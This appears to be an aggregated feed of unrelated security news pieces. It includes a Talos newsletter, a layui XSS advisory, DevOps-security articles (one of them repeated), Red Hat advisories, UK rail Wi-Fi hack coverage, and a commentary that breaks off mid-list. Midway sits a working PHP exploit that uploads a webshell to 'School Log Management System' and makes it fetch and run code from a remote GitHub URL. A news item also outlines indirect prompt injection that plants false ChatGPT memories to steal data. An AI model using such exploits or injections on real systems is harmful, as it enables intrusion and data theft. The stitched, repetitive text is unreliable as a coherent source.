It shouldn’t just be viewed as a cybersecurity issue, because for a hardware supply chain attack, an adversary would likely need to physically infiltrate or tamper with the manufacturing process.

Thursday, September 26, 2024 14:00

The recent attacks in the Middle East triggering explosions on pagers has raised new fears around physical hardware supply chain attacks. 

In cybersecurity, we typically consider supply chain attacks to target software, in which adversaries infect a legitimate tool with a malicious, fake update that then spreads malware to affected devices. Think SolarWinds, Log4j, MOVEit, etc. 

In the case of hardware supply chain attacks, malicious actors infiltrate the supply of devices, or the physical manufacturing process of pieces of hardware and purposefully build in security flaws, faulty parts, or backdoors they know they can take advantage of in the future, such as malicious microchips on a circuit board.  

For Cisco’s part, the Cisco Trustworthy technologies program, including secure boot, Cisco Trust Anchor module (TAm), and runtime defenses give customers the confidence that the product is genuinely from Cisco. 

As I was thinking about the threat of hardware supply chain attacks, I was left wondering who, exactly, should be tasked with solving this problem. And I think I’ve decided the onus falls on several different sectors. 

It shouldn’t just be viewed as a cybersecurity issue, because for a hardware supply chain attack, an adversary would likely need to physically infiltrate or tamper with the manufacturing process. Entering a manufacturing facility or other stops along the logistics chain would require some level of network-level manipulation, such as faking a card reader or finding a way to trick physical defenses — that’s why Cisco Talos Incident Response looks for these types of things in Purple Team exercises.  

But it’s also a question of logistics and storage. Could a device be tampered with while it’s just being stored in a warehouse awaiting shipment? What about entering the back of a tractor-trailer that’s hauling the devices? Or even just being able to sneak photos of the devices’ information, say, for example, the EID on a cellphone or its SIM card.  

The process to protect against supply chain hardware attacks is not straightforward, unfortunately. There is little synchronization and partnership between logistics, cybersecurity, and manufacturing companies.  

There are also new technologies that can protect against physical tampering, like smart containers, real-time monitoring systems and automated security checkpoints, but these are all expensive solutions for security teams (at the physical and network levels) that are already stretched for budget and human capital.  

The cybersecurity industry certainly has a role to play in addressing supply chain attacks of all kinds, but it’s also not something this community alone can solve.  

**The one big thing **

Attackers are abusing features of legitimate internet websites to transmit spam. This web infrastructure and its associated email infrastructure are otherwise used for legitimate purposes, which makes blocking these messages more difficult for defenders, according to new research from Talos.  

**Why do I care? **

As a spammer, one of the problems with spinning up your own architecture to deliver mail is that once the spam starts flowing, these sources (IPs/domains) can be blocked. Realizing this, many spammers have elected to attack webpages and mail servers of legitimate organizations, so they may use these “pirated” resources to send unsolicited emails. Adversaries are still finding new ways to leverage preexisting tools and structures in email systems to send spam and malicious attachments that defenders wouldn’t normally consider.  

**So now what? **

There are several steps users can take to avoid receiving large amounts of spam or being duped by bad actors using “traditional” email tools. A strong password for your email account, or even better, a password manager, can keep your email account secure. When someone is using unique credentials everywhere, one single compromised account will not impact any other online accounts belonging to that victim. For admins and defenders, educating your users to be wary of such email messages is a good way to prevent them from falling victim to phishing and other attacks that arrive by email. 

**Top security headlines of the week **

**Representatives from cybersecurity company CrowdStrike spoke to U.S. Congress this week about a faulty update that shut down Windows machines across the country earlier this year.** The incident caused disruptions across multiple industries, including commercial flights, public transportation, retail and more. Lawmakers questioned whether the affected software should have access to core systems on computers, and the threat that AI-written code could present in the future. Executives from CrowdStrike took responsibility for the outage. They said the company was doing everything possible to prevent a similar incident from happening again and executing a broad “lessons learned” process. The incident forced over 8 million Microsoft Windows machines into the dreaded “Blue Screen of Death.” For the first 24 hours of the incident, rebooting the systems only worked if the user carried out a specific process that was complicated and needed to be explained by an expert. Eventually, an automatic update rolled out and fixed the issue. (Washington Post, BBC) 

**Security researchers have discovered a new Iranian state-sponsored actor that is providing initial access for other well-known APTs in the same country.** UNC1860 is believed to have ties to Iran’s Ministry of Intelligence and Security (MOIS) and provides access to other Iranian threat actors like OilRig and Scarred Manticore. The group’s focus is reportedly solely focused on breaching networks and obtaining an initial foothold, targeting a range of sectors including government, media, education, critical infrastructure and telecommunications. Researchers say UNC1860 has teamed up for attacks targeting organizations in Iraq, Saudi Arabia and Qatar, and laid the groundwork for wiper attacks in Albania and Israel. The group’s activities had gone largely undetected thus far because their implants are entirely passive, and don’t send any information out of the target network. The APT also doesn’t rely on any kind of command and control (C2) infrastructure. (Dark Reading, SecurityWeek) 

**Popular AI chat tool ChatGPT contains a flaw that could allow adversaries to implant false “memories” and steal user data in perpetuity.** A security researcher discovered a proof of concept in which they could store false information and malicious instructions in a user’s long-term memory settings through indirect prompt injection. The researcher first reported the vulnerability to OpenAI, the creator of ChatGPT, in May, but at the time the issue was labeled as a safety issue and not a security issue, closing out the case. After developing the POC, the company eventually released a partial fix earlier this month that prevents memories from being abused as an exfiltration vector. However, an adversary could still implant long-term information into ChatGPT through prompt injections targeting the memory tool, just not through the traditional ChatGPT web interface that most users access the tool through. (Ars Technica, wunderwuzzi's blog) 

**Can’t get enough Talos? ****Upcoming events where you can find Talos**

**VB2024** **(Oct. 2 - 4)** 

_Dublin, Ireland_ 

**MITRE ATT&CKcon 5.0** **(Oct. 22 - 23)** 

_McLean, Virginia and Virtual_

Nicole Hoffman and James Nutland will provide a brief history of Akira ransomware and an overview of the Linux ransomware landscape. Then, morph into action as they take a technical deep dive into the latest Linux variant using the ATT&CK framework to uncover its techniques, tactics and procedures.

**misecCON** **(Nov. 22)** 

_Lansing, Michigan_

Terryn Valikodath from Cisco Talos Incident Response will explore the core of DFIR, where digital forensics becomes detective work and incident response turns into firefighting.

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91    
**MD5:** 7bdbd180c081fa63ca94f9c22c457376   
**Typical Filename:** c0dwjdi6a.dll   
**Claimed Product:** N/A    
**Detection Name:** Trojan.GenericKD.33515991 

**SHA 256:** 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca   
**MD5:** 71fea034b422e4a17ebb06022532fdde   
**Typical Filename:** VID001.exe   
**Claimed Product:** N/A   
**Detection Name:** RF.Talos.80 

**SHA 256:** 76491df69a26019139ac11117cd21bf5d0257a5ebd3d67837f558c8c9c3483d8   
**MD5:** b209df2951e29ab5eab4009579b10b8d  
**Typical Filename:** FileZilla\_3.67.1\_win64\_sponsored2-setup.exe   
**Claimed Product:** FileZilla   
**Detection Name:** W32.76491DF69A-95.SBX.TG 

**SHA 256:** 5e537dee6d7478cba56ebbcc7a695cae2609010a897d766ff578a4260c2ac9cf   
**MD5:** 2cfc15cb15acc1ff2b2da65c790d7551   
**Typical Filename:** rcx4d83.tmp   
**Claimed Product:** N/A     
**Detection Name:** Win.Dropper.Pykspa::tpd 

**SHA 256:** 581866eb9d50265b80bae4c49b04f033e2019797131e7697ca81ae267d1b4971   
**MD5:** 4c5fdfd4868ac91db8be52a9955649af   
**Typical Filename:** N/A   
**Claimed Product:** N/A   
**Detection Name:** W32.581866EB9D-100.SBX.TG

Are hardware supply chain attacks “cyber attacks?”

### Summary
A DOM Clobbering vulnerability has been discovered in `layui` that can lead to Cross-site Scripting (XSS) on web pages where attacker-controlled HTML elements (e.g., `img` tags with unsanitized `name` attributes) are present.

It's worth noting that we’ve identifed similar issues in other popular client-side libraries like Webpack ([CVE-2024-43788](https://github.com/webpack/webpack/security/advisories/GHSA-4vvj-4cpr-p986)) and Vite ([CVE-2024-45812](https://github.com/vitejs/vite/security/advisories/GHSA-64vr-g452-qvp3)), which might serve as valuable references.

###  Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code snippet) living in the existing libraries to transform it into executable code. 

### Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that uses `layui` library and allow users to inject certain scriptless HTML tags with improperly sanitized `name` or `id` attributes.

### Patch

This problem has been patched in Layui 2.9.17. You can find the official fix announcement at: 
https://layui.dev/notes/share/security-currentscript.html

**Summary**

A DOM Clobbering vulnerability has been discovered in layui that can lead to Cross-site Scripting (XSS) on web pages where attacker-controlled HTML elements (e.g., img tags with unsanitized name attributes) are present.

It's worth noting that we’ve identifed similar issues in other popular client-side libraries like Webpack (CVE-2024-43788) and Vite (CVE-2024-45812), which might serve as valuable references.

**Backgrounds**

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code snippet) living in the existing libraries to transform it into executable code.

**Impact**

This vulnerability can lead to cross-site scripting (XSS) on websites that uses layui library and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

**Patch**

This problem has been patched in Layui 2.9.17. You can find the official fix announcement at:  
https://layui.dev/notes/share/security-currentscript.html

**References**

*   GHSA-j827-6rgf-9629
*   layui/layui@f756b41
*   https://layui.dev/notes/share/security-currentscript.html

GHSA-j827-6rgf-9629: Layui has DOM Clobbering gadgets that leads to Cross-site Scripting

Beware that friendly text from the IT department giving you an "update" about restoring your broadband connectivity.

Source: Mike Hill via Alamy Stock Photo

Hurricane Helene is whirling its way toward the Florida coast, with the US National Hurricane Center warning those in the path of the storm to prepare for a Category 3 landing on the night of Sept. 26, followed by a life-threatening 20-foot storm surge.

Unfortunately, cybercriminals are likely planning a storm of their own, in the form of fraud and phishing efforts tied to interest and anxiety related to Helene.

A charity appeal for donations is a common gambit that cyber scammers perpetrate after a natural disaster, along with notices that purport to come from energy or phone providers about outages, and even unsolicited offers of help from "contractors" who can remove fallen trees or outfit your office with a generator — as long as you pay upfront.

There are many, many variations on the theme, including business email compromise (BEC)\-enabled attacks that use a legitimate organization's email to hide nefarious purposes.

Being suspicious is the top defense here. As the US Cybersecurity and Infrastructure Security Agency (CISA) warned on Sept. 26, individual citizens and corporate users alike should remain vigilant when "handling emails with hurricane-related subject lines, attachments, or hyperlinks. In addition, be wary of social media pleas, texts, or door-to-door solicitations relating to severe weather events."

**About the Author**

Tara Seals has 20+ years of experience as a journalist, analyst and editor in the cybersecurity, communications and technology space. Prior to Dark Reading, Tara was Editor in Chief at Threatpost, and prior to that, the North American news lead for Infosecurity Magazine. She also spent 13 years working for Informa (formerly Virgo Publishing), as executive editor and editor-in-chief at publications focused on both the service provider and the enterprise arenas. A Texas native, she holds a B.A. from Columbia University, lives in Western Massachusetts with her family and is on a never-ending quest for good Mexican food in the Northeast.

Hurricane Helene Prompts CISA Fraud Warning

Developers need to do more than scan code and vet software components, and ops should do more than just defend the deployment pipeline.

Source: whiteMocca via Shutterstock

Combining software development, deployment, and operations pipelines into DevOps teams promises increased efficiency, easier and more frequent updates, and better quality applications. Yet the complexity of the infrastructure has also led to a growing attack surface that is hard to monitor and maintain.

On the development side, the average organization uses four to nine different programming languages, has to deal with millions of new packages and images every year, and remediates thousands of vulnerabilities in the most common open source components, according to JFrog's Software Supply Chain State of the Union 2024 report. At the other end of the DevOps pipeline, two-thirds of companies have delayed deployment of an application due to Kubernetes security concerns, and nearly half (46%) had actual security incidents, according to Red Hat's The State of Kubernetes Security 2024 report.

Cybersecurity professionals aiming to secure the application pipeline have to pay attention to the software being written by developers, the open source components imported by developers, the containers and cloud infrastructure used to deploy software, and the build tools used to make the software, says Jeff Williams, chief technology officer and co-founder of Contrast Security, a software security firm.

"The problem is it's such a huge attack surface," he says. "It's not just your pipeline. It's all the other code that goes into developing software — it's IDEs and test tools and performance suites ... any one of them is capable of subverting the code that your developers are building and producing."

Gaining an integrated view of the entire DevOps pipeline, from development to application deployment, is increasingly important. Software components — not just open source libraries but Docker containers and other infrastructure assets — often have vulnerable code, increasing risk. Third-party tools can be compromised — remember Codecov's breach —allowing malicious code to be injected into projects under development. Cloud infrastructure and storage can be misconfigured or improperly protected, a la Snowflake instances.

Having good visibility into the state of the DevOps software pipeline and deployment infrastructure is critical, says Josh Lemos, chief information security officer at DevOps provider GitLab (and no relation to the author).

"There are two real important trains that need to run," he says. "One is you need the development and packaging security, compliance, and attestation of all of your build artifacts in one of those trains — or work streams. The other is the deployment monitoring and orchestration of those things in your production environments."

**Write, Use, Buy, Build**

Overall, DevOps security teams need to protect four areas that are open to attack. The first and second areas are most obvious to developers: the code that they write and the software components that they use, says Contrast Security's Williams.

"We've been talking about \[that code\] since the beginning of OWASP ... if you got bugs in the code you write, people exploit them, and you get breached. It's not good," he says.

Companies also have to pay attention to the code that they buy or — through a service — use indirectly. Finally, they need to secure the applications and services that are used to build and deploy software — the IDEs, test tools, performance suites, and instrumentation.

"Any one of those is capable of subverting the final code," Williams says, adding that most DevOps teams do not pay attention to the full attack surface posed by their pipeline and software supply chain. "I think we're still in the Stone Age, when it comes to real supply chain security."

While the vast majority of companies (87%) are building or moving applications to cloud-native, most (59%) did not understand the security implications of doing so and have suffered a security issue as a result. Predictably, the collection of common security incidents are as varied as the infrastructure needed to produce and deploy software: Network breaches, API vulnerabilities, certificate misconfigurations, cluster misconfigurations, and vulnerabilities in containers are among the top causes of security incidents, according to a November 2023 survey of cloud-native application security issues.

Even companies that are monitoring parts of their DevOps pipelines are not getting good coverage, says Williams.

"It's not everywhere, and almost nothing covers part of the DevOps like developer workstations and IDEs and testing frameworks and plugins," he says. "I mean, there's a universe of code that nobody's monitoring, and most organizations are not really thinking about this problem."

**Questioning Your DevOps Infrastructure**

For most companies, ensuring that they have visibility into the entire pipeline is essential. Monitoring can warn when a retired package is suddenly revived in the repository by an untrusted party, or when secrets are included in code that might otherwise be pushed to a repository, or when a Docker image has significant amounts of unused software.

Companies need to have continuous monitoring of each step in the pipeline, says Paul Davis, field CISO at software supply chain provider JFrog.

"\[Knowing\] what's going ... and \[seeing that\] a package has gone bad in production, or that I need to roll back a package because somebody's come with a new vulnerability — that ease of use \[and visibility\] into the attack surface, that insight and that traceability — is key for me," he says.

Companies should also take action around four specific areas of their DevOps infrastructure, according to GitLab's Lemos. First, the identities of any developer, ops specialist, device or service that takes part in the pipeline should be logged. Companies should also maintain a list of software artifact that they are using, which ones have vulnerabilities, and maintain a private repository, if possible. The build systems should be frequently tested, and any automated triggers — such as changes to third-party software that triggers a build — should be analyzed for potential security implications. Finally, the entire pipeline should be architected to minimize the impact — the "blast radius" — of a compromise, he says.

"The best thing I've seen companies do as a first step is to get to some known good design patterns," Lemos says. "The more of that that you can abstract away from \[bad security practices\], the more successful your security program will be, the less churn and load you'll have, and the more reusable your code becomes."

**The Promise, and Peril, of AI**

The breadth of the DevOps attack surface also represents an opportunity for automation and AI assistance. DevOps already gains much of its agility and speed through automation, with configuration- and infrastructure-as-code dominating because expressing architecture as files allow repeatability for operations, while analyzing the instructions allow for more secure infrastructure.

Yet, when it comes to security, most companies are holding back on adoption, says Laurent Gil, chief product officer for Kubernetes automation platform Cast AI.

"Almost every security company offers automation in some form, and yet nobody is using it," he says. "\[Security teams\] should know that it's okay to use automation to either block things that should be blocked, or to auto-remediate when you find something that contains vulnerabilities."

AI development also brings new ways of working with code and data — an attack surface area that is not fully understood and for which DevOps teams are not ready, says GitLab's Lemos.

"There is the possibility to do really old-style attacks, because you're combining data and content into a model," he says. "A model with a pickle file that gets consumed into a data scientist's workstation, if they deserialize it and it has a payload, they've just invited in some malicious code into their environment."

**About the Author**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

Moving DevOps Security Out of 'the Stone Age'

Red Hat Security Advisory 2024-7136-03 - An update for git-lfs is now available for Red Hat Enterprise Linux 9.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_7136.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: git-lfs security updateAdvisory ID:        RHSA-2024:7136-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:7136Issue date:         2024-09-26Revision:           03CVE Names:          CVE-2024-34156====================================================================Summary: An update for git-lfs is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Git Large File Storage (LFS) replaces large files such as audio samples, videos, datasets, and graphics with text pointers inside Git, while storing the file contents on a remote server.Security Fix(es):* encoding/gob: golang: Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion (CVE-2024-34156)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-34156References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2310528

Red Hat Security Advisory 2024-7136-03

Red Hat Security Advisory 2024-7135-03 - An update for git-lfs is now available for Red Hat Enterprise Linux 8.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_7135.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: git-lfs security updateAdvisory ID:        RHSA-2024:7135-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:7135Issue date:         2024-09-26Revision:           03CVE Names:          CVE-2024-34156====================================================================Summary: An update for git-lfs is now available for Red Hat Enterprise Linux 8.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Git Large File Storage (LFS) replaces large files such as audio samples, videos, datasets, and graphics with text pointers inside Git, while storing the file contents on a remote server.Security Fix(es):* encoding/gob: golang: Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion (CVE-2024-34156)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-34156References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2310528

Red Hat Security Advisory 2024-7135-03

School Log Management System version 1.0 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : School Log Management System 1.0 code injection Vulnerability                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/school-log-management-system_1.zip                    |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This payload injects php code of your choice into an SHELL.php file. [+] Line 28    Line 37  [+] change the path of the script folder.[+] save payload as poc.php[+] usage from cmd : C:\www\test>php 1.php 127.0.0.1[+] payload :<?phpfunction file_upload($target_ip) {    $file_name = "indoushka.php";    $webshell_payload = "<?php        \$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';        \$ch = curl_init();        curl_setopt(\$ch, CURLOPT_URL, \$url);        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);        \$output = curl_exec(\$ch);        curl_close(\$ch);        if (\$output) {            include 'data://text/plain;base64,' . base64_encode(\$output);        }    ?>";    $post_fields = array(                'name' => 'Hacked By Indoushka',        'email' => 'indoushka4ever@gmail.com',    'contact' => '00213771818860',    'img' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),        'qty' => '1'    );    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, "http://$target_ip/slms/admin/ajax.php?action=save_settings");    curl_setopt($ch, CURLOPT_POST, 1);    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    $response = curl_exec($ch);    curl_close($ch);    echo "(+) Shell uploaded successfully.\n";    echo "(+) Access the shell at: http://$target_ip/slms/admin/assets/uploads/\n";}if ($argc != 2) {    echo "(+) Usage: php " . $argv[0] . " <target ip>\n";    echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";    exit(-1);}$target_ip = $argv[1];file_upload($target_ip);Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

School Log Management System 1.0 Code Injection

A major cyberattack targeting Wi-Fi networks at UK railway stations, including London Euston and Manchester Piccadilly, has caused…

A major cyberattack targeting Wi-Fi networks at UK railway stations, including London Euston and Manchester Piccadilly, has caused widespread disruption and displayed Islamophobic content. Authorities are investigating the incident and working to restore services.

A major cyberattack has disrupted Wi-Fi services at numerous railway stations across the United Kingdom, including ten in London. The attackers exploited vulnerabilities in the Wi-Fi networks to display Islamophobic messages, causing widespread concern and prompting a swift investigation by authorities.

The incident, which occurred at 5:03 PM on September 25, 2024, affected around 20 stations managed by Network Rail, a leading infrastructure company in the UK. including the following:

1.  Euston
2.  Reading
3.  Victoria
4.  Waterloo
5.  Guildford
6.  Leeds City
7.  Paddington
8.  King’s Cross
9.  Cannon Street
10.  Charing Cross
11.  London Bridge
12.  London Euston
13.  Glasgow Central
14.  Clapham Junction
15.  Liverpool Street
16.  Edinburgh Waverley
17.  Liverpool Lime Street
18.  Bristol Temple Meads
19.  Birmingham New Street
20.  Manchester Piccadilly

****Nightsleeper-style Attack****

It is worth noting that the UK train Wi-Fi hack is being dubbed a “Nightsleeper-style” attack because it draws similarities to the fictional cyberattacks depicted in the BBC’s Nightsleeper series. In both, hackers target transportation networks, exploiting vulnerabilities in their systems to spread malicious content and cause widespread disruption.

Just as in the series, where coordinated digital sabotage leads to chaos onboard trains, this real-life attack hijacked Wi-Fi networks across UK railway stations, injecting harmful and offensive messages. Both scenarios highlight the ease with which critical infrastructure can be compromised, raising concerns about cybersecurity in public transport systems.

**“**We love you, Europe**“**

Manchester Evening News reported passengers who attempted to connect to the Wi-Fi at these stations were met with a webpage displaying ‘We love you, Europe,’ and containing details of terrorist incidents in the UK and abroad. The message also included Islamophobic content, raising concerns about the attackers’ motives and potential links to extremist groups. 

Network Rail confirmed that the Wi-Fi systems were quickly taken offline to contain the attack and prevent further damage. The company emphasized that the affected Wi-Fi networks were provided by a third-party vendor and did not collect any personal data from users.

“The Wi-Fi is provided by a third party, is self-contained and is a simple ‘click & connect’ service that doesn’t collect any personal data. Once our final security checks have been completed we anticipate the service will be restored by the weekend,” Network Rail’s spokesperson stated.

Telent, a third-party provider, reportedly, controls Wi-fi at affected stations. MailOnline claims that other organizations may have also been affected. 

Wi-Fi services at all impacted stations got suspended and remained down on Thursday morning due to the hack. The British Transport Police is investigating the cyberattack in collaboration with Network Rail and other relevant agencies to identify the perpetrators and bring them to justice. The authorities are also investigating the potential motives behind the attack and whether it was linked to any specific group or ideology. 

The incident underscores the growing threat of cyberattacks on critical infrastructure, emphasizing the need for organizations to invest in robust cybersecurity measures to safeguard their systems and data from malicious actors.

1.  European Trains at risk of being Hacked: Hackers
2.  Poland Arrests 2 Suspected Hackers for Train Disruption
3.  Exposed Industrial Control Systems in UK Threaten Water Supplies
4.  Crippling attack on Iranian trains linked to Meteor file wiper malware
5.  Major UK Security Provider Leaks Trove of Guard and Suspect Data

UK Train Stations’ Wi-Fi Hacked, Displays Islamophobic Messages

Source: whiteMocca via Shutterstock

Combining software development, deployment, and operations pipelines into DevOps teams promises increased efficiency, easier and more frequent updates, and higher-quality applications. Yet the complexity of the infrastructure has also led to a growing attack surface that is hard to monitor and maintain.

On the development side, the average organization uses four to nine different programming languages, deals with millions of new packages and images every year, and has to remediate thousands of vulnerabilities in the most common open source components, according to JFrog's "Software Supply Chain State of the Union 2024" report. At the other end of the DevOps pipeline, two-thirds of companies have delayed deployment of an application due to Kubernetes security concerns, and nearly half (46%) had actual security incidents, according to Red Hat's 2024 "The State of Kubernetes" security report.

Cybersecurity professionals aiming to secure the application pipeline have to pay attention to the software being written by developers, the open source components imported by developers, the containers and cloud infrastructure used to deploy software, and the build tools used to make the software, says Jeff Williams, chief technology officer and co-founder of Contrast Security, a software security firm.

"The problem is it's such a huge attack surface," he says. "It's not just your pipeline. It's all the other code that goes into developing software — it's IDEs and test tools and performance suites. ... Any one of them is capable of subverting the code that your developers are building and producing."

Gaining an integrated view of the entire DevOps pipeline, from development to application deployment, is increasingly important. Software components — not just open source libraries but Docker containers and other infrastructure assets — often have vulnerable code, increasing risk. Third-party tools can be compromised — remember Codecov's breach — allowing malicious code to be injected into projects under development. Cloud infrastructure and storage can be misconfigured or improperly protected, a la Snowflake instances.

Having good visibility into the state of the DevOps software pipeline and deployment infrastructure is critical, says Josh Lemos, chief information security officer at DevOps provider GitLab (and no relation to the author).

"There are two really important trains that need to run," he says. "One is you need the development and packaging security, compliance, and attestation of all of your build artifacts in one of those trains or work streams. The other is the deployment monitoring and orchestration of those things in your production environments."

**Write, Use, Buy, Build**

Overall, DevOps security teams need to protect four areas that are open to attack. The first and second areas are most obvious to developers: the code that they write and the software components that they use, says Contrast Security's Williams.

"We've been talking about \[that code\] since the beginning of OWASP," he says. "If you have bugs in the code you write, people exploit them, and you get breached. It's not good."

Companies also have to pay attention to the code that they buy or, through a service, use indirectly. Finally, they need to secure the applications and services that are used to build and deploy software —the IDEs, test tools, performance suites, and instrumentation.

"Any one of those is capable of subverting the final code," Williams says, adding that most DevOps teams do not pay attention to the full attack surface posed by their pipelines and software supply chains. "I think we're still in the Stone Age when it comes to real supply chain security."

While the vast majority of companies (87%) are building or moving applications to cloud-native, 59% did not understand the security implications of doing so and have suffered a security issue as a result. Predictably, the collection of common security incidents are as varied as the infrastructure needed to produce and deploy software: Network breaches, API vulnerabilities, certificate misconfigurations, cluster misconfigurations, and vulnerabilities in containers are among the top causes of security incidents, according to a November 2023 survey of cloud-native application security issues.

Even companies that are monitoring parts of their DevOps pipelines are not getting good coverage, says Williams.

"It's not everywhere, and almost nothing covers part of the DevOps like developer workstations and IDEs and testing frameworks and plug-ins," he says. "I mean, there's a universe of code that nobody's monitoring, and most organizations are not really thinking about this problem."

**Questioning Your DevOps Infrastructure**

For most companies, ensuring that they have visibility into the entire pipeline is essential. Monitoring can warn when a retired package is suddenly revived in the repository by an untrusted party, or when secrets are included in code that might otherwise be pushed to a repository, or when a Docker image has significant amounts of unused software.

Companies need to have continuous monitoring of each step in the pipeline, says Paul Davis, field CISO at software supply chain provider JFrog.

"\[Knowing\] what's going ... and \[seeing that\] a package has gone bad in production, or that I need to roll back a package because somebody's come with a new vulnerability, that ease of use \[and visibility\] into the attack surface — that insight and that traceability — is key for me," he says.

Companies should also take action around four specific areas of their DevOps infrastructure, according to GitLab's Lemos. First, the identities of any developer, ops specialist, device, or service that takes part in the pipeline should be logged. Companies should also maintain a list of software artifacts that they are using, which ones have vulnerabilities, and maintain a private repository, if possible. The build systems should be frequently tested and any automated triggers — such as changes to third-party software that triggers a build — should be analyzed for potential security implications. Finally, the entire pipeline should be architected to minimize the impact — that is, the "blast radius" — of a compromise, he says.

"The best thing I've seen companies do as a first step is to get to some known good design patterns," Lemos says. "The more of that that you can abstract away from \[bad security practices\], the more successful your security program will be, the less churn and load you'll have, and the more reusable your code becomes."

**The Promise and Peril of AI**

The breadth of the DevOps attack surface also represents an opportunity for automation and the assistance of artificial intelligence (AI). DevOps already gains much of its agility and speed through automation, with configuration- and infrastructure-as-code dominating because expressing architecture as files allows repeatability for operations, while analyzing the instructions allows for more secure infrastructure.

Yet when it comes to security, most companies are holding back on adoption, says Laurent Gil, chief product officer for Kubernetes automation platform CAST AI.

"Almost every security company offers automation in some form, and yet nobody is using it," he says. "\[Security teams\] should know that it's OK to use automation to either block things that should be blocked or to auto-remediate when you find something that contains vulnerabilities."

Yet AI development also brings new ways of working with code and data — an attack surface area that is not fully understood and for which DevOps teams are not ready, Lemos says.

"There is the possibility to do really old-style attacks because you're combining data and content into a model," he says. "A model with a pickle file that gets consumed into a data scientist's workstation, if they deserialize it and it has a payload, they've just invited some malicious code into their environment."

**About the Author**

Veteran technology journalist of more than 20 years. Former research engineer. Written for more than two dozen publications, including CNET News.com, Dark Reading, MIT's Technology Review, Popular Science, and Wired News. Five awards for journalism, including Best Deadline Journalism (Online) in 2003 for coverage of the Blaster worm. Crunches numbers on various trends using Python and R. Recent reports include analyses of the shortage in cybersecurity workers and annual vulnerability trends.

Moving DevOps Security Out of the 'Stone Age'

An environment that values creativity, continuous learning, and calculated risk-taking can prevent boredom while building a resilient, adaptable team ready to tackle whatever challenges come their way.

Source: ronstik via Alamy Stock Photo

COMMENTARY

We're so fixated on external threats that we usually fail to look within. Boredom in IT teams often led by technical debt is a real problem, and it's costing companies more than they realize. Cyber threats are evolving, and our approach to combating these threats needs to evolve alongside it. Security is now a problem we need to tackle at all levels, but essentially, it requires a team of reactive developers that can tackle these threats at the start of the development life cycle. The engagement level of your IT team should really be a security concern.

**The Ripple Effect of Boredom**

Think about the last time you were genuinely excited about a project. It's likely it involved building innovative solutions or solving complex problems. That's no coincidence. The best software engineers thrive on creativity, continuous learning, and curiosity. 

When IT teams get stuck maintaining legacy systems or performing repetitive tasks, that fuel starts to run dry. The result is a team that's not just bored but actively falling behind in an industry that never stops moving forward.

How do you spot boredom? I've seen it plenty of times in my own career. Typical warning signs include:

